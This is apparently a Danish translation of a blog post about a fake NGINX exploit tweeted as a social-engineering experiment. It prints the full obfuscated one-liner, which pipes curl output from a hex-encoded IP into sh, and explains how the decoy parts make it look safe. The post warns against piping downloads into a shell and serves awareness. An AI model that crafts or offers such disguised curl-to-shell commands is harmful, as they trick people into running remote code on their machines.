Bem. overs.: I det oprindelige indlæg, offentliggjort den 1. juni, besluttede jeg at foretage et eksperiment blandt dem, der er interesseret i informationssikkerhed. Til dette forberedte jeg en falsk exploit til en uopdaget sårbarhed i en webserver og delte den på min Twitter-profil. Mine antagelser om at blive straks afsløret af specialister, der ville se den åbenlyse bedrageri i koden, blev ikke bare ikke bekræftet... De oversteg alle forventninger, endda i den modsatte retning: Tweetet fik enorm støtte fra mange mennesker, der ikke tog sig tid til at kontrollere indholdet.

TL;DR: Brug aldrig filpipeline i sh eller bash. Det er en fremragende måde at miste kontrollen over din computer.
Jeg vil dele en lille historie med jer om et sjovt PoC-exploit, der blev lavet den 31. maj. Det dukkede op hurtigt som svar på nyheden fra , medlem af (ZDI), om at informationen om en sårbarhed i NGINX, der fører til RCE (fjernudførelse af kode), snart ville blive offentliggjort. Da NGINX ligger til grund for mange websteder, skulle nyheden have haft en eksplosiv effekt. Men på grund af forsinkelser i den 'ansvarlige offentliggørelses'-proces var detaljerne om hændelsen ikke kendt — sådan er standardproceduren hos ZDI.

om offentliggørelsen af sårbarheden i NGINX
Efter at have færdiggjort arbejdet med en ny obfuskeringsteknik i curl, citerede jeg det oprindelige tweet og 'lavede en arbejdende PoC', der bestod af en enkelt linje kode, der angiveligt udnyttede den opdagede sårbarhed. Selvfølgelig var det komplet nonsens. Jeg antog, at jeg ville blive afsløret med det samme, og at jeg i bedste fald ville få et par retweets (og det var ok).

med den falske exploit
Men jeg kunne ikke forestille mig, hvad der skete derefter. Populariteten af mit tweet skød til vejrs. Overraskende nok har der indtil nu (kl. 15:00 MSK den 1. juni) stadig været meget få, der har indset, at dette er en falskhed. Mange retweeter det helt uden kontrol (for ikke at nævne at beundre den dejlige ASCII-grafik, det genererer).

Bare se, hvilken skønhed!
Selvom alle disse cykler og farver er vidunderlige, er det klart: For at se dem, måtte folk køre koden på deres egen maskine. Heldigvis fungerer browsere på samme måde, og i kombination med det faktum, at jeg slet ikke ønsker problemer med loven, gjorde koden, der var gemt på mit site, blot echo-udskrifter uden at forsøge at installere eller køre noget ekstra kode.
Et lille afbræk: , , jeg og de andre fyre fra teamet har i et stykke tid leget med forskellige måder at obfuske curl-kommandoer på, fordi det er sjovt... og vi er nørder. netspooky og dnz har opdaget et par nye metoder, som jeg fandt ekstremt lovende. Jeg deltager i sjovet og prøver at tilføje IP-decimale konverteringer til trick-sættet. Det viste sig, at IP også kan konverteres til hexadecimalt format. Desuden kan curl og de fleste andre NIX-værktøjer med glæde "spise" hexadecimale IP-adresser! Så det gjaldt om at skabe en overbevisende og sikkert udseende kommandolinje. Til sidst endte jeg med denne:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostSocio-elektrisk ingeniørkunst (S.E.E.) — mere end bare phishing
Sikkerhed og genkendelighed var en grundlæggende del af dette eksperiment. Jeg tror, at det var netop disse elementer, der førte til dets succes. Kommandolinjen udtrykte tydeligt sikkerhed ved at referere til "127.0.0.1" (den velkendte localhost). Det antages, at localhost er sikkert, og at dataene der aldrig forlader din computer.
Genkendelighed var den anden nøglekomponent i eksperimentets S.E.E.-aspekt. Da målgruppen hovedsageligt bestod af mennesker, der var bekendt med grundlæggende computer- og netværkssikkerhed, var det vigtigt at skabe sådan kode, at dens dele ville synes velkendte og normale (og derfor sikre). At låne elementer fra gamle exploit-koncepter og kombinere dem på en usædvanlig måde viste sig at være meget effektivt.
Nedenfor følger en detaljeret gennemgang af one-lineren. Alt i denne liste er kædeligt, og der kræves praktisk talt ikke noget for, at det fungerer.
Hvilke komponenter er egentlig nødvendige? Det er -gsS, -O 0x0238f06a, |sh og webserver. Webserveren indeholdt ingen ondsindede instruktioner, men overførte blot ASCII-grafik ved hjælp af kommandoer echo i scriptet, der findes i index.html. Når brugeren indtastede en streng med |sh i midten, index.html blev den indlæst og udført. Heldigvis havde webserverens administratorer ingen onde intentioner.
-
../../../%00— illustrerer et brud på mappen; -
ngx_stream_module.so— stien til en tilfældig NGINX-modul; -
/bin/sh%00<'protocol:TCP'— vi angiveligt kører/bin/shpå den målmaskine og videresender output til en TCP-strøm; -
-O 0x0238f06a#PLToffset— en hemmelig ingrediens, tilføjet#PLToffset, for at se ud som et hukommelsesoffset, som på en eller anden måde findes i PLT; -
|sh;— endnu et vigtigt fragment. Vi skulle omdirigere output til sh/bash for at udføre koden, der kom fra den angribende webserver, som lå på adressen0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhost— en placeholder, hvor netcat henviser til/dev/tcp/localhost, for at alt skulle se sikkert ud igen. I virkeligheden laver det dog ingenting og er inkluderet i strengen for pyntens skyld.
Dette afslutter afkodningen af det enkle script og diskussionen om aspekterne af 'socio-elektronisk ingeniørarbejde' (snedig phishing).
Webserverkonfiguration og modforanstaltninger
Da det overvejende flertal af mine abonnenter er informationssikkerhedseksperter/hackere, besluttede jeg at gøre webserveren lidt mere modstandsdygtig over for manifestationerne af 'interesse' fra deres side, bare for at give dem noget at lave (og det var sjovt at konfigurere). Jeg har ikke tænkt mig at opregne alle faldgruberne her, da eksperimentet stadig er i gang, men her er nogle ting, som serveren gør:
- Aktivt overvåger forsøg på spredning på bestemte sociale medier og indsætter forskellige miniaturebilleder for at tilskynde brugeren til at klikke på linket.
- Omdirigerer Chrome/Mozilla/Safari/etc. til en promo-video fra Thugcrowd i stedet for at vise shell-scriptet.
- Holder øje med ÅBENLYSE tegn på indtrængen/brutal hacking, hvorefter det begynder at omdirigere forespørgsler til NSA-servere (ha!).
- Installerer en trojaner samt en BIOS rootkit på alle computere, hvis brugere besøger hosten fra en almindelig browser (bare for sjov!).

En lille del af antimaterie
I dette tilfælde var mit eneste mål at udforske nogle af Apache's muligheder — især de fede regler for omdirigering af forespørgsler — og jeg tænkte, hvorfor ikke?
NGINX exploit (ægte!)
Følg med på Twitter og hold dig opdateret med det fantastiske arbejde fra ZDI med at rette reelle sårbarheder og exploitable muligheder i NGINX. Deres arbejde har altid fascineret mig, og jeg er taknemmelig for Alisas tålmodighed med alle de omtaler og notifikationer, der kom som følge af mit dumme tweet. Heldigvis har det også haft en vis nytte: det har hjulpet med at øge opmærksomheden om sårbarhederne i NGINX samt om problemerne forårsaget af misbrug af curl.
Kilde: habr.com
